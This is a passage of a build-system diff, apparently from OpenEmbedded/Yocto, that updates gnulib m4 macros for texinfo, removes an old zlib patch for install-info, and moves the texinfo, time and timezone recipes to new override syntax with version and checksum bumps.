gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMMOVE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMPCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMSET]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNLEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPNCPY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCASECMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCASECMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCOLL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSXFRM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSDUP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRCHR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCSPN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSPN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSPBRK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSTR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSTOK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSWIDTH]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSFTIME]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WCSDUP], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_WCHAR_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_WCHAR_H_DEFAULTS], + [ +- GNULIB_BTOWC=0; AC_SUBST([GNULIB_BTOWC]) +- GNULIB_WCTOB=0; AC_SUBST([GNULIB_WCTOB]) +- GNULIB_MBSINIT=0; AC_SUBST([GNULIB_MBSINIT]) +- GNULIB_MBRTOWC=0; AC_SUBST([GNULIB_MBRTOWC]) +- GNULIB_MBRLEN=0; AC_SUBST([GNULIB_MBRLEN]) +- GNULIB_MBSRTOWCS=0; AC_SUBST([GNULIB_MBSRTOWCS]) +- GNULIB_MBSNRTOWCS=0; AC_SUBST([GNULIB_MBSNRTOWCS]) +- GNULIB_WCRTOMB=0; AC_SUBST([GNULIB_WCRTOMB]) +- GNULIB_WCSRTOMBS=0; AC_SUBST([GNULIB_WCSRTOMBS]) +- GNULIB_WCSNRTOMBS=0; AC_SUBST([GNULIB_WCSNRTOMBS]) +- GNULIB_WCWIDTH=0; AC_SUBST([GNULIB_WCWIDTH]) +- GNULIB_WMEMCHR=0; AC_SUBST([GNULIB_WMEMCHR]) +- GNULIB_WMEMCMP=0; AC_SUBST([GNULIB_WMEMCMP]) +- GNULIB_WMEMCPY=0; AC_SUBST([GNULIB_WMEMCPY]) +- GNULIB_WMEMMOVE=0; AC_SUBST([GNULIB_WMEMMOVE]) +- GNULIB_WMEMPCPY=0; AC_SUBST([GNULIB_WMEMPCPY]) +- GNULIB_WMEMSET=0; AC_SUBST([GNULIB_WMEMSET]) +- GNULIB_WCSLEN=0; AC_SUBST([GNULIB_WCSLEN]) +- GNULIB_WCSNLEN=0; AC_SUBST([GNULIB_WCSNLEN]) +- GNULIB_WCSCPY=0; AC_SUBST([GNULIB_WCSCPY]) +- GNULIB_WCPCPY=0; AC_SUBST([GNULIB_WCPCPY]) +- GNULIB_WCSNCPY=0; AC_SUBST([GNULIB_WCSNCPY]) +- GNULIB_WCPNCPY=0; AC_SUBST([GNULIB_WCPNCPY]) +- GNULIB_WCSCAT=0; AC_SUBST([GNULIB_WCSCAT]) +- GNULIB_WCSNCAT=0; AC_SUBST([GNULIB_WCSNCAT]) +- GNULIB_WCSCMP=0; AC_SUBST([GNULIB_WCSCMP]) +- GNULIB_WCSNCMP=0; AC_SUBST([GNULIB_WCSNCMP]) +- GNULIB_WCSCASECMP=0; AC_SUBST([GNULIB_WCSCASECMP]) +- GNULIB_WCSNCASECMP=0; AC_SUBST([GNULIB_WCSNCASECMP]) +- GNULIB_WCSCOLL=0; AC_SUBST([GNULIB_WCSCOLL]) +- GNULIB_WCSXFRM=0; AC_SUBST([GNULIB_WCSXFRM]) +- GNULIB_WCSDUP=0; AC_SUBST([GNULIB_WCSDUP]) +- GNULIB_WCSCHR=0; AC_SUBST([GNULIB_WCSCHR]) +- GNULIB_WCSRCHR=0; AC_SUBST([GNULIB_WCSRCHR]) +- GNULIB_WCSCSPN=0; AC_SUBST([GNULIB_WCSCSPN]) +- GNULIB_WCSSPN=0; AC_SUBST([GNULIB_WCSSPN]) +- GNULIB_WCSPBRK=0; AC_SUBST([GNULIB_WCSPBRK]) +- GNULIB_WCSSTR=0; AC_SUBST([GNULIB_WCSSTR]) +- GNULIB_WCSTOK=0; AC_SUBST([GNULIB_WCSTOK]) +- GNULIB_WCSWIDTH=0; AC_SUBST([GNULIB_WCSWIDTH]) +- GNULIB_WCSFTIME=0; AC_SUBST([GNULIB_WCSFTIME]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_WCSDUP=1; AC_SUBST([GNULIB_MDA_WCSDUP]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_BTOWC=1; AC_SUBST([HAVE_BTOWC]) + HAVE_MBSINIT=1; AC_SUBST([HAVE_MBSINIT]) +--- a/gnulib/m4/wctype_h.m4 ++++ b/gnulib/m4/wctype_h.m4 +@@ -1,4 +1,4 @@ +-# wctype_h.m4 serial 26 ++# wctype_h.m4 serial 30 + + dnl A placeholder for ISO C99 <wctype.h>, for platforms that lack it. + +@@ -9,7 +9,7 @@ dnl with or without modifications, as lo + + dnl Written by Paul Eggert. + +-AC_DEFUN([gl_WCTYPE_H], ++AC_DEFUN_ONCE([gl_WCTYPE_H], + [ + AC_REQUIRE([gl_WCTYPE_H_DEFAULTS]) + AC_REQUIRE([AC_PROG_CC]) +@@ -62,7 +62,7 @@ AC_DEFUN([gl_WCTYPE_H], + fi + AC_SUBST([HAVE_WCTYPE_H]) + +- if test $GNULIB_OVERRIDES_WINT_T = 1; then ++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then + REPLACE_ISWCNTRL=1 + else + case "$gl_cv_func_iswcntrl_works" in +@@ -157,24 +157,39 @@ AC_DEFUN([gl_WCTYPE_H], + ]) + ]) + ++# gl_WCTYPE_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_WCTYPE_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_WCTYPE_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_WCTYPE_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_WCTYPE_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWBLANK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWDIGIT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWXDIGIT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTYPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWCTYPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTRANS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TOWCTRANS]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_WCTYPE_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_WCTYPE_H_DEFAULTS], + [ +- GNULIB_ISWBLANK=0; AC_SUBST([GNULIB_ISWBLANK]) +- GNULIB_ISWDIGIT=0; AC_SUBST([GNULIB_ISWDIGIT]) +- GNULIB_ISWXDIGIT=0; AC_SUBST([GNULIB_ISWXDIGIT]) +- GNULIB_WCTYPE=0; AC_SUBST([GNULIB_WCTYPE]) +- GNULIB_ISWCTYPE=0; AC_SUBST([GNULIB_ISWCTYPE]) +- GNULIB_WCTRANS=0; AC_SUBST([GNULIB_WCTRANS]) +- GNULIB_TOWCTRANS=0; AC_SUBST([GNULIB_TOWCTRANS]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_ISWBLANK=1; AC_SUBST([HAVE_ISWBLANK]) + HAVE_WCTYPE_T=1; AC_SUBST([HAVE_WCTYPE_T]) +--- a/gnulib/m4/wint_t.m4 ++++ b/gnulib/m4/wint_t.m4 +@@ -1,4 +1,4 @@ +-# wint_t.m4 serial 10 ++# wint_t.m4 serial 11 + dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -34,14 +34,14 @@ AC_DEFUN([gt_TYPE_WINT_T], + [gl_cv_type_wint_t_large_enough=yes], + [gl_cv_type_wint_t_large_enough=no])]) + if test $gl_cv_type_wint_t_large_enough = no; then +- GNULIB_OVERRIDES_WINT_T=1 ++ GNULIBHEADERS_OVERRIDE_WINT_T=1 + else +- GNULIB_OVERRIDES_WINT_T=0 ++ GNULIBHEADERS_OVERRIDE_WINT_T=0 + fi + else +- GNULIB_OVERRIDES_WINT_T=0 ++ GNULIBHEADERS_OVERRIDE_WINT_T=0 + fi +- AC_SUBST([GNULIB_OVERRIDES_WINT_T]) ++ AC_SUBST([GNULIBHEADERS_OVERRIDE_WINT_T]) + ]) + + dnl Prerequisites of the 'wint_t' override. +--- /dev/null ++++ b/gnulib/m4/year2038.m4 +@@ -0,0 +1,112 @@ ++# year2038.m4 serial 5 ++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc. ++dnl This file is free software; the Free Software Foundation ++dnl gives unlimited permission to copy and/or distribute it, ++dnl with or without modifications, as long as this notice is preserved. ++ ++dnl Attempt to ensure that 'time_t' is a 64-bit type ++dnl and that the functions time(), stat(), etc. return 64-bit times. ++ ++AC_DEFUN([gl_YEAR2038_EARLY], ++[ ++ AC_REQUIRE([AC_CANONICAL_HOST]) ++ case "$host_os" in ++ mingw*) ++ AC_DEFINE([__MINGW_USE_VC2005_COMPAT], [1], ++ [For 64-bit time_t on 32-bit mingw.]) ++ ;; ++ esac ++]) ++ ++# gl_YEAR2038_TEST_INCLUDES ++# ------------------------- ++AC_DEFUN([gl_YEAR2038_TEST_INCLUDES], ++[[ ++ #include <time.h> ++ /* Check that time_t can represent 2**63 - 1 correctly. ++ We can't simply define LARGE_TIME_T to be 9223372036854775807, ++ since some C++ compilers masquerading as C compilers ++ incorrectly reject 9223372036854775807. */ ++ #define LARGE_TIME_T (((time_t) 1 << 31 << 31) - 1 + ((time_t) 1 << 31 << 31)) ++ int verify_time_t_range[(LARGE_TIME_T % 2147483629 == 721 ++ && LARGE_TIME_T % 2147483647 == 1) ++ ? 1 : -1]; ++]]) ++ ++# gl_YEAR2038_BODY(REQUIRE-64-BIT) ++---------------------------------- ++AC_DEFUN([gl_YEAR2038_BODY], ++[ ++ AC_ARG_ENABLE([year2038], ++ [ --disable-year2038 omit support for timestamps past the year 2038]) ++ AS_IF([test "$enable_year2038" != no], ++ [ ++ dnl On many systems, time_t is already a 64-bit type. ++ dnl On those systems where time_t is still 32-bit, it requires kernel ++ dnl and libc support to make it 64-bit. For glibc 2.34 and later on Linux, ++ dnl defining _TIME_BITS=64 and _FILE_OFFSET_BITS=64 is needed on x86 and ARM. ++ dnl ++ dnl On native Windows, the system include files define types __time32_t ++ dnl and __time64_t. By default, time_t is an alias of ++ dnl - __time32_t on 32-bit mingw, ++ dnl - __time64_t on 64-bit mingw and on MSVC (since MSVC 8). ++ dnl But when compiling with -D__MINGW_USE_VC2005_COMPAT, time_t is an ++ dnl alias of __time64_t. ++ dnl And when compiling with -D_USE_32BIT_TIME_T, time_t is an alias of ++ dnl __time32_t. ++ AC_CACHE_CHECK([for 64-bit time_t], [gl_cv_type_time_t_64], ++ [AC_COMPILE_IFELSE( ++ [AC_LANG_SOURCE([gl_YEAR2038_TEST_INCLUDES])], ++ [gl_cv_type_time_t_64=yes], [gl_cv_type_time_t_64=no]) ++ ]) ++ if test "$gl_cv_type_time_t_64" = no; then ++ AC_CACHE_CHECK([for 64-bit time_t with _TIME_BITS=64], ++ [gl_cv_type_time_t_bits_macro], ++ [AC_COMPILE_IFELSE( ++ [AC_LANG_SOURCE([[#define _TIME_BITS 64 ++ #define _FILE_OFFSET_BITS 64 ++ ]gl_YEAR2038_TEST_INCLUDES])], ++ [gl_cv_type_time_t_bits_macro=yes], ++ [gl_cv_type_time_t_bits_macro=no]) ++ ]) ++ if test "$gl_cv_type_time_t_bits_macro" = yes; then ++ AC_DEFINE([_TIME_BITS], [64], ++ [Number of bits in a timestamp, on hosts where this is settable.]) ++ dnl AC_SYS_LARGFILE also defines this; it's OK if we do too. ++ AC_DEFINE([_FILE_OFFSET_BITS], [64], ++ [Number of bits in a file offset, on hosts where this is settable.]) ++ gl_cv_type_time_t_64=yes ++ fi ++ fi ++ if test $gl_cv_type_time_t_64 = no; then ++ AC_COMPILE_IFELSE( ++ [AC_LANG_SOURCE( ++ [[#ifdef _USE_32BIT_TIME_T ++ int ok; ++ #else ++ error fail ++ #endif ++ ]])], ++ [AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type. Remove _USE_32BIT_TIME_T from the compiler flags.])], ++ [# If not cross-compiling and $1 says we should check, ++ # and 'touch' works with a large timestamp, then evidently 64-bit time_t ++ # is desired and supported, so fail and ask the builder to fix the ++ # problem. Otherwise, just warn the builder. ++ m4_ifval([$1], ++ [if test $cross_compiling = no \ ++ && TZ=UTC0 touch -t 210602070628.16 conftest.time 2>/dev/null; then ++ rm -f conftest.time ++ AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type, which your system appears to support. You might try configuring with 'CPPFLAGS="-m64" LDFLAGS="-m64"'. To build with a 32-bit time_t anyway (not recommended), configure with '--disable-year2038'.]) ++ fi]) ++ if test "$gl_warned_about_64_bit_time_t" != yes; then ++ AC_MSG_WARN([This package requires a 64-bit 'time_t' type if there is any way to access timestamps outside the year range 1901-2038 on your platform. Perhaps you should configure with 'CPPFLAGS="-m64" LDFLAGS="-m64"'?]) ++ gl_warned_about_64_bit_time_t=yes ++ fi ++ ]) ++ fi]) ++]) ++ ++AC_DEFUN([gl_YEAR2038], ++[ ++ gl_YEAR2038_BODY([require-64-bit]) ++]) diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch deleted file mode 100644 index f72097e639..0000000000 --- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch +++ /dev/null @@ -1,254 +0,0 @@ -From 3d3b66cf398853c666e724c3dbcc37d53a2240d5 Mon Sep 17 00:00:00 2001 -From: Edwin Plauchu <edwin.plauchu.camacho@intel.com> -Date: Tue, 29 Nov 2016 12:27:17 -0600 -Subject: [PATCH] texinfo-4.12-zlib - -Upstream-Status: Pending - -Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com> -Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com> - ---- - install-info/Makefile.in | 2 +- - install-info/install-info.c | 79 ++++++++++++++++++++++--------------- - 2 files changed, 48 insertions(+), 33 deletions(-) - -diff --git a/install-info/Makefile.in b/install-info/Makefile.in -index c924509..746df05 100644 ---- a/install-info/Makefile.in -+++ b/install-info/Makefile.in -@@ -218,7 +218,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)" - PROGRAMS = $(bin_PROGRAMS) - am_ginstall_info_OBJECTS = install-info.$(OBJEXT) - ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS) --ginstall_info_LDADD = $(LDADD) -+ginstall_info_LDADD = $(LDADD) -lz - am__DEPENDENCIES_1 = - ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \ - $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1) -diff --git a/install-info/install-info.c b/install-info/install-info.c -index 21f4fe3..a7aba82 100644 ---- a/install-info/install-info.c -+++ b/install-info/install-info.c -@@ -19,6 +19,7 @@ - #include <getopt.h> - #include <regex.h> - #include <argz.h> -+#include <zlib.h> - - #define TAB_WIDTH 8 - -@@ -681,15 +682,15 @@ The first time you invoke Info you start off looking at this node.\n\ - - Return either stdin reading the file, or a non-stdin pipe reading - the output of the compression program. */ --FILE * -+void * - open_possibly_compressed_file (char *filename, - void (*create_callback) (char *), -- char **opened_filename, char **compression_program) -+ char **opened_filename, char **compression_program, int *is_pipe) - { - char *local_opened_filename, *local_compression_program; - int nread; - char data[13]; -- FILE *f; -+ gzFile *f; - - /* We let them pass NULL if they don't want this info, but it's easier - to always determine it. */ -@@ -697,48 +698,48 @@ open_possibly_compressed_file (char *filename, - opened_filename = &local_opened_filename; - - *opened_filename = filename; -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - if (!f) - { - *opened_filename = concat (filename, ".gz", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".xz", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".bz2", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".lz", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".lzma", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - #ifdef __MSDOS__ - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".igz", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - if (!f) - { - free (*opened_filename); - *opened_filename = concat (filename, ".inz", ""); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - } - #endif /* __MSDOS__ */ - if (!f) -@@ -754,7 +755,7 @@ open_possibly_compressed_file (char *filename, - (*create_callback) (filename); - - /* And try opening it again. */ -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - if (!f) - return 0; - } -@@ -764,26 +765,26 @@ open_possibly_compressed_file (char *filename, - - /* Read first few bytes of file rather than relying on the filename. - If the file is shorter than this it can't be usable anyway. */ -- nread = fread (data, sizeof (data), 1, f); -- if (nread != 1) -+ nread = gzread (f, data, sizeof (data)); -+ if (nread != sizeof (data)) - { -- if (nread == 0) -+ if (nread >= 0) - { - /* Try to create the file if its empty. */ -- if (feof (f) && create_callback) -+ if (gzeof(f) && create_callback) - { -- if (fclose (f) != 0) -+ if (gzclose(f) != 0) - return 0; /* unknown error closing file */ - -- if (remove (filename) != 0) -+ if (remove(filename) != 0) - return 0; /* unknown error deleting file */ - - (*create_callback) (filename); -- f = fopen (*opened_filename, FOPEN_RBIN); -+ f = gzopen (*opened_filename, FOPEN_RBIN); - if (!f) - return 0; -- nread = fread (data, sizeof (data), 1, f); -- if (nread == 0) -+ nread = gzread(f, data, sizeof (data)); -+ if (nread >= 0) - return 0; - goto determine_file_type; /* success */ - } -@@ -854,35 +855,40 @@ determine_file_type: - *compression_program = NULL; - - /* Seek back over the magic bytes. */ -- if (fseek (f, 0, 0) < 0) -+ if (gzseek (f, 0, SEEK_SET) == -1) - return 0; - - if (*compression_program) - { /* It's compressed, so open a pipe. */ -+ FILE *p; - char *command = concat (*compression_program, " -d", ""); - -- if (fclose (f) < 0) -+ if (gzclose (f) < 0) - return 0; -- f = freopen (*opened_filename, FOPEN_RBIN, stdin); -- if (!f) -+ p = freopen (*opened_filename, FOPEN_RBIN, stdin); -+ if (!p) - return 0; -- f = popen (command, "r"); -- if (!f) -+ p = popen (command, "r"); -+ if (!p) - { - /* Used for error message in calling code. */ - *opened_filename = command; - return 0; - } -+ else -+ *is_pipe = 1; -+ return p; - } - else - { --#if O_BINARY -+#if 0 && O_BINARY - /* Since this is a text file, and we opened it in binary mode, - switch back to text mode. */ - f = freopen (*opened_filename, "r", f); - if (! f) - return 0; - #endif -+ *is_pipe = 0; - } - - return f; -@@ -901,7 +907,8 @@ readfile (char *filename, int *sizep, - void (*create_callback) (char *), char **opened_filename, - char **compression_program) - { -- FILE *f; -+ void *f; -+ int pipe_p; - int filled = 0; - int data_size = 8192; - char *data = xmalloc (data_size); -@@ -909,14 +916,20 @@ readfile (char *filename, int *sizep, - /* If they passed the space for the file name to return, use it. */ - f = open_possibly_compressed_file (filename, create_callback, - opened_filename, -- compression_program); -+ compression_program, -+ &pipe_p); - - if (!f) - return 0; - - for (;;) - { -- int nread = fread (data + filled, 1, data_size - filled, f); -+ int nread; -+ -+ if (pipe_p) -+ nread = fread (data + filled, 1, data_size - filled, f); -+ else -+ nread = gzread (f, data + filled, data_size - filled); - if (nread < 0) - return 0; - if (nread == 0) -@@ -935,8 +948,10 @@ readfile (char *filename, int *sizep, - /* We need to close the stream, since on some systems the pipe created - by popen is simulated by a temporary file which only gets removed - inside pclose. */ -- if (f != stdin) -+ if (pipe_p) - pclose (f); -+ else -+ gzclose (f); - - *sizep = filled; - return data; diff --git a/meta/recipes-extended/texinfo/texinfo_6.7.bb b/meta/recipes-extended/texinfo/texinfo_6.8.bb index d421b79a0b..33dcd943b4 100644 --- a/meta/recipes-extended/texinfo/texinfo_6.7.bb +++ b/meta/recipes-extended/texinfo/texinfo_6.8.bb @@ -4,10 +4,10 @@ online information and printed output from a single source file. The \ GNU Project uses the Texinfo file format for most of its documentation." HOMEPAGE = "http://www.gnu.org/software/texinfo/" SECTION = "console/utils" -LICENSE = "GPLv3+" +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464" -PROVIDES_append_class-native = " texinfo-replacement-native" +PROVIDES:append:class-native = " texinfo-replacement-native" def compress_pkg(d): if bb.data.inherits_class('compress_doc', d): @@ -20,24 +20,23 @@ def compress_pkg(d): return "xz" return "" -RDEPENDS_info += "${@compress_pkg(d)}" +RDEPENDS:info += "${@compress_pkg(d)}" DEPENDS = "zlib ncurses texinfo-replacement-native" -DEPENDS_class-native = "zlib-native ncurses-native" +DEPENDS:class-native = "zlib-native ncurses-native" TARGET_PATCH = "file://use_host_makedoc.patch" -TARGET_PATCH_class-native = "" +TARGET_PATCH:class-native = "" SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \ - file://texinfo-4.12-zlib.patch \ + file://0001-gnulib-Update.patch \ file://disable-native-tools.patch \ file://link-zip.patch \ file://dont-depend-on-help2man.patch \ ${TARGET_PATCH} \ " -SRC_URI[md5sum] = "f0c1782f68ef73738d74bd1e9e30793a" -SRC_URI[sha256sum] = "a52d05076b90032cb2523673c50e53185938746482cf3ca0213e9b4b50ac2d3e" +SRC_URI[sha256sum] = "8e09cf753ad1833695d2bac0f57dc3bd6bcbbfbf279450e1ba3bc2d7fb297d08" tex_texinfo = "texmf/tex/texinfo" @@ -47,38 +46,38 @@ MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any" EXTRA_AUTORECONF += "-I ${S}/gnulib/m4" -do_configure_prepend () { +do_configure:prepend () { # autotools_do_configure updates po/Makefile.in.in, we also need # update po_document. cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/ } -do_compile_prepend() { +do_compile:prepend() { if [ -d tools ];then oe_runmake -C tools/gnulib/lib fi } -do_install_append() { +do_install:append() { mkdir -p ${D}${datadir}/${tex_texinfo} install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo} sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi } -do_install_append_class-native() { +do_install:append:class-native() { install -m 755 info/makedoc ${D}${bindir} } PACKAGES += "info info-doc" -FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info" -FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \ +FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info" +FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \ ${mandir}/man1/info.1* ${mandir}/man5/info.5* \ ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*" -FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo" -RDEPENDS_${PN} = "perl" -FILES_${PN}-doc = "${infodir}/texinfo* \ +FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo" +RDEPENDS:${PN} = "perl" +FILES:${PN}-doc = "${infodir}/texinfo* \ ${datadir}/${tex_texinfo} \ ${mandir}/man1 ${mandir}/man5" @@ -86,6 +85,6 @@ FILES_${PN}-doc = "${infodir}/texinfo* \ # but the code will test for it and if not found use Locale::gettext_pp instead. # However, this causes a file dependency on perl(Locale::gettext_xs) to be # generated, which must be satisfied. -RPROVIDES_${PN} += "perl(Locale::gettext_xs)" +RPROVIDES:${PN} += "perl(Locale::gettext_xs)" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/time/time_1.9.bb b/meta/recipes-extended/time/time_1.9.bb index e2b084caae..706605fe06 100644 --- a/meta/recipes-extended/time/time_1.9.bb +++ b/meta/recipes-extended/time/time_1.9.bb @@ -3,12 +3,12 @@ DESCRIPTION = "time measures many of the CPU resources, such as time and \ memory, that other programs use." HOMEPAGE = "http://www.gnu.org/software/time/" SECTION = "utils" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" inherit texinfo update-alternatives -ALTERNATIVE_${PN} = "time" +ALTERNATIVE:${PN} = "time" ALTERNATIVE_PRIORITY = "100" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/timezone/timezone.inc b/meta/recipes-extended/timezone/timezone.inc index 32723f3dec..43d14d7f12 100644 --- a/meta/recipes-extended/timezone/timezone.inc +++ b/meta/recipes-extended/timezone/timezone.inc @@ -3,10 +3,10 @@ DESCRIPTION = "The Time Zone Database contains code and data that represent \ the history of local time for many representative locations around the globe." HOMEPAGE = "http://www.iana.org/time-zones" SECTION = "base" -LICENSE = "PD & BSD & BSD-3-Clause" +LICENSE = "PD & BSD-3-Clause" LIC_FILES_CHKSUM = "file://LICENSE;md5=c679c9d6b02bc2757b3eaf8f53c43fba" -PV = "2020a" +PV = "2021e" SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz;name=tzcode \ http://www.iana.org/time-zones/repository/releases/tzdata${PV}.tar.gz;name=tzdata \ @@ -14,7 +14,6 @@ SRC_URI =" http://www.iana.org/time-zones/repository/releases/tzcode${PV}.tar.gz UPSTREAM_CHECK_URI = "http://www.iana.org/time-zones" -SRC_URI[tzcode.md5sum] = "f87c3477e85a5c4b00df0def6c6a0055" -SRC_URI[tzcode.sha256sum] = "7d2af7120ee03df71fbca24031ccaf42404752e639196fe93c79a41b38a6d669" -SRC_URI[tzdata.md5sum] = "96a985bb8eeab535fb8aa2132296763a" -SRC_URI[tzdata.sha256sum] = "547161eca24d344e0b5f96aff6a76b454da295dc14ed4ca50c2355043fb899a2" +SRC_URI[tzcode.sha256sum] = "584666393a5424d13d27ec01183da17703273664742e049d4f62f62dab631775" +SRC_URI[tzdata.sha256sum] = 